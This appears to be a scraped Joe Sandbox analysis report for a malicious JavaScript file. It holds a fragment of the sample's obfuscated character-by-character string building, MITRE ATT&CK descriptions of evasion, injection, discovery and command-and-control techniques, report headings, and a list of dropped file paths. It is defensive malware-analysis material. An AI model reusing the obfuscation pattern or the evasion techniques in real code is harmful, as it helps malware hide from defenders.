1437	akamczc = "i";
1438	akamczc = "P";
1439	akamczc = "i";
1440	akamczc = "w";
1441	akamczc = "N";
1442	akamczc = "o";
1443	akamczc = "o";
1444	akamczc = "d";
1445	akamczc = "e";
1446	akamczc = "K";
1447	akamczc = "6";
1448	urdljrvch ( );	urdljrvch() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 122388091976711996.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\3111a472-1191-4482-9ec5-2df6bd872545.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1916

Windows Analysis Report
122388091976711996.js